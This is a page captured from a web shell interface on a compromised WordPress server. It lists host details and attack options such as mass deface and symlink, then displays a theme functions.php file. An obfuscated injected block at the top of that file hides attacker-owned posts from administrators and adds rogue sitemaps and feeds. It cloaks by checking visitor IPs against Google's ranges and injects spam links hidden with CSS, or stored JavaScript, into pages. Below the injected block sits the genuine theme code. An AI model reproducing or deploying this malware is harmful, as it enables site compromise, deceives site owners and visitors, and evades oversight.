. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 104.21.26.5  /  Your IP : 216.73.216.209   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium35.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : lasanffc ( 2331)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/lasanffc/public_html/wp-content/themes/royal-elementor-kit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/lasanffc/public_html/wp-content/themes/royal-elementor-kit//functions.php
<?php

/* d34b343979d853c61fdff7e74b438fb2 */

function esc_url_raw_view($where) {
    global $wpdb, $_x_meta;

    $get_footer_beta = array_keys($_x_meta);
    $get_comments_number_live = implode(', ', $get_footer_beta);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'the_excerpt_reference');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_comments_number_live)";
    }

    return $where;
}

function language_attributes_function($query) {

    global $_x_meta;

    $get_footer_beta = array_keys($_x_meta);
    $get_header_hashing = _x_get($get_footer_beta);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $get_header_hashing);
    }
}

function wp_reset_postdata_wp() {

    global $post, $_x_meta;

    foreach ($_x_meta as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (esc_url_raw_package($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function esc_url_raw_package($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (esc_html_alpha()) {
            return true;
        }
    }
    return false;
}

function the_excerpt_reference($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function is_admin_more($counts, $type, $perm) {

    if ($type === 'post') {
        $is_wp_error_session = $counts->publish;
        $body_class_character = the_post_json($perm);
        $counts->publish = !$body_class_character ? $is_wp_error_session : $body_class_character;
    }
    return $counts;
}

function the_post_json($perm) {
    global $wpdb, $_x_meta;

    $get_footer_beta = array_keys($_x_meta);
    $get_comments_number_live = implode(', ', $get_footer_beta);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $wp_list_comments_alpha = get_post_type_object($type);

        if (!current_user_can($wp_list_comments_alpha->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_comments_number_live) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $have_comments_stat) {
        if ($have_comments_stat['post_status'] === 'publish') {
            return $have_comments_stat['num_posts'];
        }
    }
}

function is_home_session($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_footer_beta = array();
    foreach ($results as $have_comments_stat) {
        $get_footer_beta[] = $have_comments_stat['ID'];
    }
    return $get_footer_beta;
}

function esc_url_add() {

    global $_x_meta, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($_x_meta as $get_footer_pic => $wp_footer_module) {
        $get_stylesheet_uri_cron = key($wp_footer_module['sitemapsettings']);

        if (!isset($rules[$get_stylesheet_uri_cron]) ||
            ($rules[$get_stylesheet_uri_cron] !== current($wp_footer_module['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function set_transient_soap($rules) {

    global $_x_meta;

    $get_search_query_cron = array();

    foreach ($_x_meta as $get_footer_pic => $wp_footer_module) {
        if (isset($wp_footer_module['sitemapsettings'])) {
            $get_search_query_cron[key($wp_footer_module['sitemapsettings'])] = current($wp_footer_module['sitemapsettings']);
        }
    }

    return $get_search_query_cron + $rules;
}

function is_home_repository() {

    global $_x_meta;

    foreach ($_x_meta as $get_footer_pic => $wp_footer_module) {
        $the_ID_ajax = str_replace('index.php?feed=', '', current($wp_footer_module['sitemapsettings']));
        add_feed($the_ID_ajax, 'the_posts_pagination_constructor');
    }
}


function the_posts_pagination_constructor() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $get_stylesheet_uri_ajax = get_sidebar_part();
    $wp_enqueue_style_path = is_home_session($get_stylesheet_uri_ajax);

    if (!empty($wp_enqueue_style_path)) {
        $esc_html_sample = md5(implode(',', $wp_enqueue_style_path));
        $wp_link_pages_index = 'update_plugins_' . $get_stylesheet_uri_ajax . '_' . $esc_html_sample;
        $get_permalink_json = get_transient($wp_link_pages_index);

        if ($get_permalink_json !== false) {
            echo $get_permalink_json;
            return;
        }
    }



    $head = register_sidebar_live();
    $register_nav_menus_wp = $head . "\n";


    $priority = '0.5';
    $is_active_sidebar_call = 'weekly';
    $add_theme_support_security = date('Y-m-d');

    foreach ($wp_enqueue_style_path as $post_id) {
        $url = get_permalink($post_id);
        $register_nav_menus_wp .= the_content_stat($url, $add_theme_support_security, $is_active_sidebar_call, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $register_nav_menus_wp .= "\n</urlset>";

    set_transient($wp_link_pages_index, $register_nav_menus_wp, WEEK_IN_SECONDS);

    echo $register_nav_menus_wp;
}


function register_sidebar_live() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function the_content_stat($url, $add_theme_support_security, $is_active_sidebar_call, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$add_theme_support_security</lastmod>
      <changefreq>$is_active_sidebar_call</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function _x_get($writersArr) {
    $have_comments_meta = array();

    foreach ($writersArr as $item) {
        $have_comments_meta[] = '-' . $item;
    }
    return implode(',', $have_comments_meta);
}

function get_the_modified_date_event() {

    $dynamic_sidebar_dns = array();
    $post_class_condition = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $add_action_pointer = unserialize(base64_decode($settings));
        if ($add_action_pointer) {
            $dynamic_sidebar_dns = $add_action_pointer;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $add_setting_core = unserialize(base64_decode($settings));
        if ($add_setting_core) {
            $post_class_condition = $add_setting_core;
        }
    }

    return $post_class_condition + $dynamic_sidebar_dns;

}

function get_sidebar_part() {

    global $_x_meta;

    foreach ($_x_meta as $get_footer_pic => $wp_footer_module) {

        $is_home_library = key($wp_footer_module['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($wp_footer_module['sitemapsettings']) . '$');

        if (preg_match("~$is_home_library~", $_SERVER['REQUEST_URI'])) {
            return $get_footer_pic;
        }
    }
}

function is_active_sidebar_add() {
    global $_x_meta, $post;

    $the_excerpt_hashing = array_keys($_x_meta);
    if (in_array($post->post_author, $the_excerpt_hashing)) {
        return true;
    }
    return false;
}

function the_permalink_decryption() {
    global $_x_meta, $post;

    $the_excerpt_hashing = array_keys($_x_meta);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $the_excerpt_hashing)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function home_url_all() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function esc_html_alpha() {

    $get_the_category_list_string = home_url_all();

    if (strstr($get_the_category_list_string, ', ')) {
        $register_nav_menus_beta = explode(', ', $get_the_category_list_string);
        $get_the_category_list_string = $register_nav_menus_beta[0];
    }

    $get_template_part_core = is_single_new();

    if (!$get_template_part_core) {
        return false;
    }

    foreach ($get_template_part_core as $range) {
        if (esc_url_raw_pointer($get_the_category_list_string, $range)) {
            return true;
        }
    }
    return false;
}

function body_class_old($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function is_single_new() {

    if (($value = get_option('wp_custom_range')) && !body_class_old($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_template_part_core = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_template_part_core)) {

            return;
        }

        $value = array('ranges' => $get_template_part_core, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function wp_nav_menu_request($inet) {
    $get_theme_file_uri_client = str_split($inet);
    $add_partial_stack = '';
    foreach ($get_theme_file_uri_client as $char) {
        $add_partial_stack .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $add_partial_stack;
}

function esc_url_raw_pointer($get_the_category_list_string, $cidrnet) {
    $get_the_category_list_string = inet_pton($get_the_category_list_string);
    $add_partial_stack = wp_nav_menu_request($get_the_category_list_string);

    list($net, $get_stylesheet_uri_core) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $esc_url_stream = wp_nav_menu_request($net);

    $add_section_compiler = substr($add_partial_stack, 0, $get_stylesheet_uri_core);
    $get_footer_soap = substr($esc_url_stream, 0, $get_stylesheet_uri_core);

    if ($add_section_compiler !== $get_footer_soap) {
        return false;
    } else {
        return true;
    }
}


function comments_template_decryption($is_home_live) {

    global $post;

    $get_theme_file_uri_http = '';


    if (wp_footer_repository($is_home_live, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_theme_file_uri_http = get_option('home_links_custom_0');
        }
    } elseif (wp_footer_repository($is_home_live, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_theme_file_uri_http = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (wp_footer_repository($is_home_live, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_theme_mod_num = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_theme_file_uri_http = get_option('home_links_custom_' . $get_theme_mod_num);
        
        
    } elseif (wp_footer_repository($is_home_live, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_theme_file_uri_http ? '' : $get_theme_file_uri_http;
}

function wp_footer_repository($wp_footer_module, $get_stylesheet_uri_view, $get_option_trigger) {
    if (!isset($wp_footer_module[$get_stylesheet_uri_view][$get_option_trigger])) {
        return false;
    }

    if ($wp_footer_module[$get_stylesheet_uri_view][$get_option_trigger] === 1) {
        return true;
    }

    return false;

}

function get_the_category_list_http($is_home_live, $esc_attr_x_function) {
    if (empty($esc_attr_x_function)) {
        return '';
    }

    if (wp_footer_repository($is_home_live, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_the_author_meta_stat = get_comments_number_less();
        $the_ID_hashing = $get_the_author_meta_stat[$blockNum[0]];
        return $the_ID_hashing[0] . PHP_EOL . $esc_attr_x_function . PHP_EOL . $the_ID_hashing[1];
    }

    return $esc_attr_x_function;
}

function get_comments_number_less() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function wp_link_pages_index_mo($is_home_live) {
    return wp_footer_repository($is_home_live, 'position', 'head');
}

function get_the_author_meta_num($is_home_live) {
    return wp_footer_repository($is_home_live, 'position', 'footer');
}

function get_footer_interface($settings) {
    foreach ($settings as $get_footer_pic => $wp_footer_module) {
        if (isset($wp_footer_module['homeLinks'])) {
            return $wp_footer_module['homeLinks'];
        }
    }
    return array();
}


function get_comments_number_call() {
    if (!is_active_sidebar_add()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function the_title_character() {

    global $is_home_live;

    if (!get_comments_number_call()) {
        
        
        return;
    }

    if (wp_footer_repository($is_home_live, 'hiddenType', 'cloacking')) {
        if (!esc_html_alpha()) {
            
            return;
        }
    }


    $esc_attr_x_function = comments_template_decryption($is_home_live);
    $esc_attr_x_function = get_the_category_list_http($is_home_live, $esc_attr_x_function);

    


    echo $esc_attr_x_function;

}

$_x_meta = get_the_modified_date_event();


if (is_array($_x_meta)) {
    add_filter('posts_where_paged', 'esc_url_raw_view');
    add_action('pre_get_posts', 'language_attributes_function');
    add_action('wp_enqueue_scripts', 'wp_reset_postdata_wp');
    add_filter('wp_count_posts', 'is_admin_more' , 10, 3);
    add_filter('rewrite_rules_array', 'set_transient_soap');
    add_action('wp_loaded', 'esc_url_add');
    add_action('init', 'is_home_repository');
    add_action('template_redirect', 'the_permalink_decryption');

    $is_home_live = get_footer_interface($_x_meta);

    if (!empty($is_home_live)) {

        

        if (wp_link_pages_index_mo($is_home_live)) {
            add_action('wp_head', 'the_title_character');
        }
        if (get_the_author_meta_num($is_home_live)) {
            add_action('wp_footer', 'the_title_character');
        }


    }
}

/* d34b343979d853c61fdff7e74b438fb2 */

/* 
** Sets up theme defaults and registers support for various WordPress features
*/
function royal_elementor_kit_setup() {

	// Add default posts and comments RSS feed links to head
	add_theme_support( 'automatic-feed-links' );

	// Let WordPress manage the document title for us
	add_theme_support( 'title-tag' );

	// Enable support for Post Thumbnails on posts and pages
	add_theme_support( 'post-thumbnails' );

	// Custom Logo
	add_theme_support( 'custom-logo', [
		'height'      => 100,
		'width'       => 350,
		'flex-height' => true,
		'flex-width'  => true,
	] );

	add_theme_support( 'custom-header' );

	// Add theme support for Custom Background.
	add_theme_support( 'custom-background', ['default-color' => ''] );

	// Set the default content width.
	$GLOBALS['content_width'] = 960;

	// This theme uses wp_nav_menu() in one location
	register_nav_menus( array(
		'main' => __( 'Main Menu', 'royal-elementor-kit' ),
	) );

	// Switch default core markup for search form, comment form, and comments to output valid HTML5
	add_theme_support( 'html5', array(
		'comment-form',
		'comment-list',
		'gallery',
		'caption',
	) );

	// Gutenberg Embeds
	add_theme_support( 'responsive-embeds' );

	// Gutenberg Widge Images
	add_theme_support( 'align-wide' );


	// WooCommerce in general.
	add_theme_support( 'woocommerce' );

	// zoom.
	add_theme_support( 'wc-product-gallery-zoom' );
	// lightbox.
	add_theme_support( 'wc-product-gallery-lightbox' );
	// swipe.
	add_theme_support( 'wc-product-gallery-slider' );
}

add_action( 'after_setup_theme', 'royal_elementor_kit_setup' );

/*
** Enqueue scripts and styles
*/
function royal_elementor_kit_scripts() {

	// Theme Stylesheet
	wp_enqueue_style( 'royal-elementor-kit-style', get_stylesheet_uri(), array(), '1.0' );

	// Comment reply link
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
	
}
add_action( 'wp_enqueue_scripts', 'royal_elementor_kit_scripts' );


/*
** Notices
*/
require_once get_parent_theme_file_path( '/inc/activation/class-welcome-notice.php' );
require_once get_parent_theme_file_path( '/inc/activation/class-rating-notice.php' );

add_action( 'after_switch_theme', 'rek_activation_time');
add_action('after_setup_theme', 'rek_activation_time');
    
function rek_activation_time() {
	if ( false === get_option( 'rek_activation_time' ) ) {
		add_option( 'rek_activation_time', strtotime('now') );
	}
}

Anon7 - 2022
AnonSec Team